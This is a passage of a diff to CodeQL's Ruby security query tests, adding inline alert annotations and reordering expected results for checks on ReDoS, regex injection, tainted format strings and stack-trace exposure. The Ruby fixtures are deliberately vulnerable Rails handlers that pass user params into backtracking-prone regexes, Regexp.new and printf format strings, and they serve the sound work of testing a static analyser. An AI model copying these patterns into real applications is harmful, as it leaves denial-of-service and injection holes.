| user-provided value | -| PolynomialReDoS.rb:22:5:22:22 | call to sub | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:22:5:22:8 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:23:5:23:20 | call to match | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:23:17:23:20 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:24:5:24:21 | call to match? | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:24:18:24:21 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:28:5:28:21 | call to gsub! | PolynomialReDoS.rb:27:9:27:14 | call to params | PolynomialReDoS.rb:28:5:28:5 | a | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:27:9:27:14 | call to params | user-provided value | -| PolynomialReDoS.rb:30:5:30:18 | call to slice! | PolynomialReDoS.rb:29:9:29:14 | call to params | PolynomialReDoS.rb:30:5:30:5 | b | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:29:9:29:14 | call to params | user-provided value | -| PolynomialReDoS.rb:32:5:32:20 | call to sub! | PolynomialReDoS.rb:31:9:31:14 | call to params | PolynomialReDoS.rb:32:5:32:5 | c | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:31:9:31:14 | call to params | user-provided value | -| PolynomialReDoS.rb:42:5:45:7 | case ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:42:10:42:13 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:7:19:7:21 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:47:5:50:7 | case ... | PolynomialReDoS.rb:4:12:4:17 | call to params | PolynomialReDoS.rb:47:10:47:13 | name | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:48:14:48:16 | \\s+ | regular expression | PolynomialReDoS.rb:4:12:4:17 | call to params | user-provided value | -| PolynomialReDoS.rb:62:5:62:22 | call to gsub | PolynomialReDoS.rb:54:12:54:17 | call to params | PolynomialReDoS.rb:62:5:62:9 | input | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:56:31:56:33 | \\s+ | regular expression | PolynomialReDoS.rb:54:12:54:17 | call to params | user-provided value | -| PolynomialReDoS.rb:66:5:66:34 | call to match? | PolynomialReDoS.rb:54:12:54:17 | call to params | PolynomialReDoS.rb:66:5:66:9 | input | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:58:30:58:32 | \\s+ | regular expression | PolynomialReDoS.rb:54:12:54:17 | call to params | user-provided value | -| PolynomialReDoS.rb:77:5:77:22 | call to gsub | PolynomialReDoS.rb:70:12:70:17 | call to params | PolynomialReDoS.rb:77:5:77:9 | input | This $@ that depends on a $@ may run slow on strings with many repetitions of ' '. | PolynomialReDoS.rb:72:28:72:30 | \\s+ | regular expression | PolynomialReDoS.rb:70:12:70:17 | call to params | user-provided value | -| PolynomialReDoS.rb:105:5:105:23 | ... =~ ... | PolynomialReDoS.rb:103:12:103:17 | call to params | PolynomialReDoS.rb:105:5:105:8 | name | This $@ that depends on a $@ may run slow on strings starting with '''' and with many repetitions of ' '. | PolynomialReDoS.rb:100:397:100:399 | \\s* | regular expression | PolynomialReDoS.rb:103:12:103:17 | call to params | user-provided value | -| PolynomialReDoS.rb:105:5:105:23 | ... =~ ... | PolynomialReDoS.rb:103:12:103:17 | call to params | PolynomialReDoS.rb:105:5:105:8 | name | This $@ that depends on a $@ may run slow on strings starting with '''' and with many repetitions of ' '. | PolynomialReDoS.rb:100:405:100:407 | \\s* | regular expression | PolynomialReDoS.rb:103:12:103:17 | call to params | user-provided value | -| lib/index.rb:4:13:4:26 | call to match | lib/index.rb:2:11:2:11 | x | lib/index.rb:4:13:4:13 | x | This $@ that depends on a $@ may run slow on strings with many repetitions of 'a'. | lib/index.rb:4:22:4:23 | a+ | regular expression | lib/index.rb:2:11:2:11 | x | library input | -| lib/index.rb:9:15:9:28 | call to match | lib/index.rb:8:13:8:13 | x | lib/index.rb:9:15:9:15 | x | This $@ that depends on a $@ may run slow on strings with many repetitions of 'a'. | lib/index.rb:9:24:9:25 | a+ | regular expression | lib/index.rb:8:13:8:13 | x | library input | -| lib/index.rb:11:16:11:276 | call to match | lib/index.rb:8:13:8:13 | x | lib/index.rb:11:16:11:16 | x | This $@ that depends on a $@ may run slow on strings starting with 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC' and with many repetitions of 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC'. | lib/index.rb:11:271:11:272 | .* | regular expression | lib/index.rb:8:13:8:13 | x | library input | diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref index 5807dc56fa0..28e7aa93906 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/PolynomialReDoS.ql +query: queries/security/cwe-1333/PolynomialReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb index 2f73209321f..117908eb881 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/PolynomialReDoS.rb @@ -1,35 +1,35 @@ class FooController < ActionController::Base def some_request_handler # A source for the data-flow query (i.e. a remote flow source) - name = params[:name] + name = params[:name] # $ Source # A vulnerable regex regex = /^\s+|\s+$/ # Various sinks that match the source against the regex - name =~ regex # NOT GOOD - name !~ regex # NOT GOOD - name[regex] # NOT GOOD - name.gsub regex, '' # NOT GOOD - name.index regex # NOT GOOD - name.match regex # NOT GOOD - name.match? regex # NOT GOOD - name.partition regex # NOT GOOD - name.rindex regex # NOT GOOD - name.rpartition regex # NOT GOOD - name.scan regex # NOT GOOD - name.split regex # NOT GOOD - name.sub regex, '' # NOT GOOD - regex.match name # NOT GOOD - regex.match? name # NOT GOOD + name =~ regex # NOT GOOD # $ Alert + name !~ regex # NOT GOOD # $ Alert + name[regex] # NOT GOOD # $ Alert + name.gsub regex, '' # NOT GOOD # $ Alert + name.index regex # NOT GOOD # $ Alert + name.match regex # NOT GOOD # $ Alert + name.match? regex # NOT GOOD # $ Alert + name.partition regex # NOT GOOD # $ Alert + name.rindex regex # NOT GOOD # $ Alert + name.rpartition regex # NOT GOOD # $ Alert + name.scan regex # NOT GOOD # $ Alert + name.split regex # NOT GOOD # $ Alert + name.sub regex, '' # NOT GOOD # $ Alert + regex.match name # NOT GOOD # $ Alert + regex.match? name # NOT GOOD # $ Alert # Destructive variants - a = params[:b] - a.gsub! regex, '' # NOT GOOD - b = params[:a] - b.slice! regex # NOT GOOD - c = params[:c] - c.sub! regex, '' # NOT GOOD + a = params[:b] # $ Source + a.gsub! regex, '' # NOT GOOD # $ Alert + b = params[:a] # $ Source + b.slice! regex # NOT GOOD # $ Alert + c = params[:c] # $ Source + c.sub! regex, '' # NOT GOOD # $ Alert # GOOD - guarded by a string length check if name.length < 1024 @@ -39,19 +39,19 @@ class FooController < ActionController::Base # GOOD - regex does not suffer from polynomial backtracking (regression test) params[:foo] =~ /\A[bc].*\Z/ - case name # NOT GOOD + case name # NOT GOOD # $ Sink when regex puts "foo" - end + end # $ Alert - case name # NOT GOOD + case name # NOT GOOD # $ Sink in /^\s+|\s+$/ then puts "foo" - end + end # $ Alert end def some_other_request_handle - name = params[:name] # source + name = params[:name] # source # $ Source indirect_use_of_reg /^\s+|\s+$/, name @@ -59,22 +59,22 @@ class FooController < ActionController::Base end def indirect_use_of_reg (reg, input) - input.gsub reg, '' # NOT GOOD + input.gsub reg, '' # NOT GOOD # $ Alert end def as_string_indirect (reg_as_string, input) - input.match? reg_as_string, '' # NOT GOOD + input.match? reg_as_string, '' # NOT GOOD # $ Alert end def re_compile_indirect - name = params[:name] # source + name = params[:name] # source # $ Source reg = Regexp.new '^\s+|\s+$' re_compile_indirect_2 reg, name end def re_compile_indirect_2 (reg, input) - input.gsub reg, '' # NOT GOOD + input.gsub reg, '' # NOT GOOD # $ Alert end # See https://github.com/dependabot/dependabot-core/blob/37dc1767fde9b7184020763f4d0c1434f93d11d6/python/lib/dependabot/python/requirement_parser.rb#L6-L25 @@ -100,8 +100,8 @@ class FooController < ActionController::Base MARKER_EXPR = /(#{MARKER_EXPR_ONE}|\(\s*|\s*\)|\s+and\s+|\s+or\s+)+/ def use_marker_expr - name = params[:name] # source + name = params[:name] # source # $ Source - name =~ MARKER_EXPR + name =~ MARKER_EXPR # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb index b6bf9570f4d..9ec0a2082d0 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-polynomial-redos/lib/index.rb @@ -1,13 +1,13 @@ module Foo - def bar(x) + def bar(x) # $ Source # Run the /a+$/ regex on the input x. - match = x.match(/a+$/) + match = x.match(/a+$/) # $ Alert end protected - def baz(x) - match = x.match(/a+$/) + def baz(x) # $ Source + match = x.match(/a+$/) # $ Alert - match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) + match2 = x.match(/(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)(AA|BB)C.*Y$/) # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.expected b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.expected index 13643e2c07e..6a4c79e1fa4 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.expected +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.expected @@ -1,3 +1,9 @@ +#select +| RegExpInjection.rb:5:13:5:21 | /#{...}/ | RegExpInjection.rb:4:12:4:17 | call to params | RegExpInjection.rb:5:13:5:21 | /#{...}/ | This regular expression depends on a $@. | RegExpInjection.rb:4:12:4:17 | call to params | user-provided value | +| RegExpInjection.rb:11:13:11:27 | /foo#{...}bar/ | RegExpInjection.rb:10:12:10:17 | call to params | RegExpInjection.rb:11:13:11:27 | /foo#{...}bar/ | This regular expression depends on a $@. | RegExpInjection.rb:10:12:10:17 | call to params | user-provided value | +| RegExpInjection.rb:17:24:17:27 | name | RegExpInjection.rb:16:12:16:17 | call to params | RegExpInjection.rb:17:24:17:27 | name | This regular expression depends on a $@. | RegExpInjection.rb:16:12:16:17 | call to params | user-provided value | +| RegExpInjection.rb:23:24:23:33 | ... + ... | RegExpInjection.rb:22:12:22:17 | call to params | RegExpInjection.rb:23:24:23:33 | ... + ... | This regular expression depends on a $@. | RegExpInjection.rb:22:12:22:17 | call to params | user-provided value | +| RegExpInjection.rb:55:28:55:37 | ... + ... | RegExpInjection.rb:54:12:54:17 | call to params | RegExpInjection.rb:55:28:55:37 | ... + ... | This regular expression depends on a $@. | RegExpInjection.rb:54:12:54:17 | call to params | user-provided value | edges | RegExpInjection.rb:4:5:4:8 | name | RegExpInjection.rb:5:13:5:21 | /#{...}/ | provenance | AdditionalTaintStep | | RegExpInjection.rb:4:12:4:17 | call to params | RegExpInjection.rb:4:12:4:24 | ...[...] | provenance | | @@ -42,9 +48,3 @@ nodes | RegExpInjection.rb:55:28:55:37 | ... + ... | semmle.label | ... + ... | | RegExpInjection.rb:55:34:55:37 | name | semmle.label | name | subpaths -#select -| RegExpInjection.rb:5:13:5:21 | /#{...}/ | RegExpInjection.rb:4:12:4:17 | call to params | RegExpInjection.rb:5:13:5:21 | /#{...}/ | This regular expression depends on a $@. | RegExpInjection.rb:4:12:4:17 | call to params | user-provided value | -| RegExpInjection.rb:11:13:11:27 | /foo#{...}bar/ | RegExpInjection.rb:10:12:10:17 | call to params | RegExpInjection.rb:11:13:11:27 | /foo#{...}bar/ | This regular expression depends on a $@. | RegExpInjection.rb:10:12:10:17 | call to params | user-provided value | -| RegExpInjection.rb:17:24:17:27 | name | RegExpInjection.rb:16:12:16:17 | call to params | RegExpInjection.rb:17:24:17:27 | name | This regular expression depends on a $@. | RegExpInjection.rb:16:12:16:17 | call to params | user-provided value | -| RegExpInjection.rb:23:24:23:33 | ... + ... | RegExpInjection.rb:22:12:22:17 | call to params | RegExpInjection.rb:23:24:23:33 | ... + ... | This regular expression depends on a $@. | RegExpInjection.rb:22:12:22:17 | call to params | user-provided value | -| RegExpInjection.rb:55:28:55:37 | ... + ... | RegExpInjection.rb:54:12:54:17 | call to params | RegExpInjection.rb:55:28:55:37 | ... + ... | This regular expression depends on a $@. | RegExpInjection.rb:54:12:54:17 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref index 11c9e723026..2623c876bf6 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/RegExpInjection.ql +query: queries/security/cwe-1333/RegExpInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb index aca47e42e60..469c084a75b 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-regexp-injection/RegExpInjection.rb @@ -1,26 +1,26 @@ class FooController < ActionController::Base # BAD def route0 - name = params[:name] - regex = /#{name}/ + name = params[:name] # $ Source + regex = /#{name}/ # $ Alert end # BAD def route1 - name = params[:name] - regex = /foo#{name}bar/ + name = params[:name] # $ Source + regex = /foo#{name}bar/ # $ Alert end # BAD def route2 - name = params[:name] - regex = Regexp.new(name) + name = params[:name] # $ Source + regex = Regexp.new(name) # $ Alert end # BAD def route3 - name = params[:name] - regex = Regexp.new("@" + name) + name = params[:name] # $ Source + regex = Regexp.new("@" + name) # $ Alert end # GOOD - string is compared against a constant string @@ -51,7 +51,7 @@ class FooController < ActionController::Base # BAD def route8 - name = params[:name] - regex = Regexp.compile("@" + name) + name = params[:name] # $ Source + regex = Regexp.compile("@" + name) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.expected b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.expected index 104b9d3ada0..58907596bd7 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.expected +++ b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.expected @@ -1,3 +1,17 @@ +#select +| tainted_format_string.rb:4:12:4:26 | ...[...] | tainted_format_string.rb:4:12:4:17 | call to params | tainted_format_string.rb:4:12:4:26 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:4:12:4:17 | call to params | user-provided value | +| tainted_format_string.rb:5:19:5:33 | ...[...] | tainted_format_string.rb:5:19:5:24 | call to params | tainted_format_string.rb:5:19:5:33 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:5:19:5:24 | call to params | user-provided value | +| tainted_format_string.rb:10:23:10:37 | ...[...] | tainted_format_string.rb:10:23:10:28 | call to params | tainted_format_string.rb:10:23:10:37 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:10:23:10:28 | call to params | user-provided value | +| tainted_format_string.rb:11:30:11:44 | ...[...] | tainted_format_string.rb:11:30:11:35 | call to params | tainted_format_string.rb:11:30:11:44 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:11:30:11:35 | call to params | user-provided value | +| tainted_format_string.rb:18:23:18:37 | ...[...] | tainted_format_string.rb:18:23:18:28 | call to params | tainted_format_string.rb:18:23:18:37 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:18:23:18:28 | call to params | user-provided value | +| tainted_format_string.rb:19:30:19:44 | ...[...] | tainted_format_string.rb:19:30:19:35 | call to params | tainted_format_string.rb:19:30:19:44 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:19:30:19:35 | call to params | user-provided value | +| tainted_format_string.rb:21:27:21:41 | ...[...] | tainted_format_string.rb:21:27:21:32 | call to params | tainted_format_string.rb:21:27:21:41 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:21:27:21:32 | call to params | user-provided value | +| tainted_format_string.rb:22:20:22:34 | ...[...] | tainted_format_string.rb:22:20:22:25 | call to params | tainted_format_string.rb:22:20:22:34 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:22:20:22:25 | call to params | user-provided value | +| tainted_format_string.rb:28:19:28:33 | ...[...] | tainted_format_string.rb:28:19:28:24 | call to params | tainted_format_string.rb:28:19:28:33 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:28:19:28:24 | call to params | user-provided value | +| tainted_format_string.rb:33:12:33:46 | ... + ... | tainted_format_string.rb:33:32:33:37 | call to params | tainted_format_string.rb:33:12:33:46 | ... + ... | Format string depends on a $@. | tainted_format_string.rb:33:32:33:37 | call to params | user-provided value | +| tainted_format_string.rb:36:12:36:46 | "A log message: #{...}" | tainted_format_string.rb:36:30:36:35 | call to params | tainted_format_string.rb:36:12:36:46 | "A log message: #{...}" | Format string depends on a $@. | tainted_format_string.rb:36:30:36:35 | call to params | user-provided value | +| tainted_format_string.rb:39:5:39:45 | "A log message #{...} %{foo}" | tainted_format_string.rb:39:22:39:27 | call to params | tainted_format_string.rb:39:5:39:45 | "A log message #{...} %{foo}" | Format string depends on a $@. | tainted_format_string.rb:39:22:39:27 | call to params | user-provided value | +| tainted_format_string.rb:42:5:42:43 | "A log message #{...} %08x" | tainted_format_string.rb:42:22:42:27 | call to params | tainted_format_string.rb:42:5:42:43 | "A log message #{...} %08x" | Format string depends on a $@. | tainted_format_string.rb:42:22:42:27 | call to params | user-provided value | edges | tainted_format_string.rb:4:12:4:17 | call to params | tainted_format_string.rb:4:12:4:26 | ...[...] | provenance | | | tainted_format_string.rb:5:19:5:24 | call to params | tainted_format_string.rb:5:19:5:33 | ...[...] | provenance | | @@ -48,17 +62,3 @@ nodes | tainted_format_string.rb:42:22:42:27 | call to params | semmle.label | call to params | | tainted_format_string.rb:42:22:42:36 | ...[...] | semmle.label | ...[...] | subpaths -#select -| tainted_format_string.rb:4:12:4:26 | ...[...] | tainted_format_string.rb:4:12:4:17 | call to params | tainted_format_string.rb:4:12:4:26 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:4:12:4:17 | call to params | user-provided value | -| tainted_format_string.rb:5:19:5:33 | ...[...] | tainted_format_string.rb:5:19:5:24 | call to params | tainted_format_string.rb:5:19:5:33 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:5:19:5:24 | call to params | user-provided value | -| tainted_format_string.rb:10:23:10:37 | ...[...] | tainted_format_string.rb:10:23:10:28 | call to params | tainted_format_string.rb:10:23:10:37 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:10:23:10:28 | call to params | user-provided value | -| tainted_format_string.rb:11:30:11:44 | ...[...] | tainted_format_string.rb:11:30:11:35 | call to params | tainted_format_string.rb:11:30:11:44 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:11:30:11:35 | call to params | user-provided value | -| tainted_format_string.rb:18:23:18:37 | ...[...] | tainted_format_string.rb:18:23:18:28 | call to params | tainted_format_string.rb:18:23:18:37 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:18:23:18:28 | call to params | user-provided value | -| tainted_format_string.rb:19:30:19:44 | ...[...] | tainted_format_string.rb:19:30:19:35 | call to params | tainted_format_string.rb:19:30:19:44 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:19:30:19:35 | call to params | user-provided value | -| tainted_format_string.rb:21:27:21:41 | ...[...] | tainted_format_string.rb:21:27:21:32 | call to params | tainted_format_string.rb:21:27:21:41 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:21:27:21:32 | call to params | user-provided value | -| tainted_format_string.rb:22:20:22:34 | ...[...] | tainted_format_string.rb:22:20:22:25 | call to params | tainted_format_string.rb:22:20:22:34 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:22:20:22:25 | call to params | user-provided value | -| tainted_format_string.rb:28:19:28:33 | ...[...] | tainted_format_string.rb:28:19:28:24 | call to params | tainted_format_string.rb:28:19:28:33 | ...[...] | Format string depends on a $@. | tainted_format_string.rb:28:19:28:24 | call to params | user-provided value | -| tainted_format_string.rb:33:12:33:46 | ... + ... | tainted_format_string.rb:33:32:33:37 | call to params | tainted_format_string.rb:33:12:33:46 | ... + ... | Format string depends on a $@. | tainted_format_string.rb:33:32:33:37 | call to params | user-provided value | -| tainted_format_string.rb:36:12:36:46 | "A log message: #{...}" | tainted_format_string.rb:36:30:36:35 | call to params | tainted_format_string.rb:36:12:36:46 | "A log message: #{...}" | Format string depends on a $@. | tainted_format_string.rb:36:30:36:35 | call to params | user-provided value | -| tainted_format_string.rb:39:5:39:45 | "A log message #{...} %{foo}" | tainted_format_string.rb:39:22:39:27 | call to params | tainted_format_string.rb:39:5:39:45 | "A log message #{...} %{foo}" | Format string depends on a $@. | tainted_format_string.rb:39:22:39:27 | call to params | user-provided value | -| tainted_format_string.rb:42:5:42:43 | "A log message #{...} %08x" | tainted_format_string.rb:42:22:42:27 | call to params | tainted_format_string.rb:42:5:42:43 | "A log message #{...} %08x" | Format string depends on a $@. | tainted_format_string.rb:42:22:42:27 | call to params | user-provided value | diff --git a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref index c8e1c80ec40..f688cc3f7e3 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref +++ b/ruby/ql/test/query-tests/security/cwe-134/TaintedFormatString.qlref @@ -1 +1,2 @@ -queries/security/cwe-134/TaintedFormatString.ql +query: queries/security/cwe-134/TaintedFormatString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb index aa66a9aa470..cff03a07ef0 100644 --- a/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb +++ b/ruby/ql/test/query-tests/security/cwe-134/tainted_format_string.rb @@ -1,44 +1,44 @@ class UsersController < ActionController::Base def show - printf(params[:format], arg) # BAD - Kernel.printf(params[:format], arg) # BAD + printf(params[:format], arg) # BAD # $ Alert + Kernel.printf(params[:format], arg) # BAD # $ Alert printf(params[:format]) # GOOD Kernel.printf(params[:format]) # GOOD - printf(IO.new(1), params[:format], arg) # BAD - Kernel.printf(IO.new(1), params[:format], arg) # BAD + printf(IO.new(1), params[:format], arg) # BAD # $ Alert + Kernel.printf(IO.new(1), params[:format], arg) # BAD # $ Alert printf("%s", params[:format]) # GOOD Kernel.printf("%s", params[:format]) # GOOD fmt = "%s" printf(fmt, params[:format]) # GOOD - printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] - Kernel.printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] + printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] # $ Alert + Kernel.printf(IO.new(1), params[:format]) # GOOD [FALSE POSITIVE] # $ Alert - str1 = Kernel.sprintf(params[:format], arg) # BAD - str2 = sprintf(params[:format], arg) # BAD + str1 = Kernel.sprintf(params[:format], arg) # BAD # $ Alert + str2 = sprintf(params[:format], arg) # BAD # $ Alert str1 = Kernel.sprintf(params[:format]) # GOOD str2 = sprintf(params[:format]) # GOOD stdout = IO.new 1 - stdout.printf(params[:format], arg) # BAD + stdout.printf(params[:format], arg) # BAD # $ Alert stdout.printf(params[:format]) # GOOD # Taint via string concatenation - printf("A log message: " + params[:format], arg) # BAD + printf("A log message: " + params[:format], arg) # BAD # $ Alert # Taint via string interpolation - printf("A log message: #{params[:format]}", arg) # BAD + printf("A log message: #{params[:format]}", arg) # BAD # $ Alert # Using String# - "A log message #{params[:format]} %{foo}" % {foo: "foo"} # BAD + "A log message #{params[:format]} %{foo}" % {foo: "foo"} # BAD # $ Alert # String# with an array - "A log message #{params[:format]} %08x" % ["foo"] # BAD + "A log message #{params[:format]} %08x" % ["foo"] # BAD # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.expected b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.expected index 00e0b4317de..24404e8f1a9 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.expected +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.expected @@ -1,3 +1,7 @@ +#select +| StackTraceExposure.rb:6:18:6:28 | call to backtrace | StackTraceExposure.rb:6:18:6:28 | call to backtrace | StackTraceExposure.rb:6:18:6:28 | call to backtrace | $@ can be exposed to an external user. | StackTraceExposure.rb:6:18:6:28 | call to backtrace | Error information | +| StackTraceExposure.rb:12:18:12:19 | bt | StackTraceExposure.rb:11:10:11:17 | call to caller | StackTraceExposure.rb:12:18:12:19 | bt | $@ can be exposed to an external user. | StackTraceExposure.rb:11:10:11:17 | call to caller | Error information | +| StackTraceExposure.rb:18:18:18:28 | call to backtrace | StackTraceExposure.rb:18:18:18:28 | call to backtrace | StackTraceExposure.rb:18:18:18:28 | call to backtrace | $@ can be exposed to an external user. | StackTraceExposure.rb:18:18:18:28 | call to backtrace | Error information | edges | StackTraceExposure.rb:11:5:11:6 | bt | StackTraceExposure.rb:12:18:12:19 | bt | provenance | | | StackTraceExposure.rb:11:10:11:17 | call to caller | StackTraceExposure.rb:11:5:11:6 | bt | provenance | | @@ -8,7 +12,3 @@ nodes | StackTraceExposure.rb:12:18:12:19 | bt | semmle.label | bt | | StackTraceExposure.rb:18:18:18:28 | call to backtrace | semmle.label | call to backtrace | subpaths -#select -| StackTraceExposure.rb:6:18:6:28 | call to backtrace | StackTraceExposure.rb:6:18:6:28 | call to backtrace | StackTraceExposure.rb:6:18:6:28 | call to backtrace | $@ can be exposed to an external user. | StackTraceExposure.rb:6:18:6:28 | call to backtrace | Error information | -| StackTraceExposure.rb:12:18:12:19 | bt | StackTraceExposure.rb:11:10:11:17 | call to caller | StackTraceExposure.rb:12:18:12:19 | bt | $@ can be exposed to an external user. | StackTraceExposure.rb:11:10:11:17 | call to caller | Error information | -| StackTraceExposure.rb:18:18:18:28 | call to backtrace | StackTraceExposure.rb:18:18:18:28 | call to backtrace | StackTraceExposure.rb:18:18:18:28 | call to backtrace | $@ can be exposed to an external user. | StackTraceExposure.rb:18:18:18:28 | call to backtrace | Error information | diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref index c110f2b1765..ebd3ae1cee1 100644 --- a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref +++ b/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.qlref @@ -1 +1,2 @@ -queries/security/cwe-209/StackTraceExposure.ql \ No newline at end of file +query: queries/security/cwe-209/StackTraceExposure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-209/StackTraceExposure.rb 